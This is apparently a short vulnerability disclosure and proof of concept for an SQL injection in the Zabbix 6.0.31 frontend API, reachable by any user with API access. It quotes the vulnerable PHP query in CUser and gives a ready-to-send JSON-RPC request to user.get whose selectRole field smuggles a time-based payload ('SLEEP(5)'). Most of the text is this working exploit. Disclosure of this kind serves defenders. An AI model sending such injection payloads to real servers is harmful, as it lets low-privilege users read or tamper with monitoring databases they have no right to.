A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.
This script is provided for educational purposes only!
The following code from version 6.0.31 is vulnerable to SQLi:
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
The following call triggers the vulnerability:
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1","2"]
},
"id": 1,
"auth": ""
}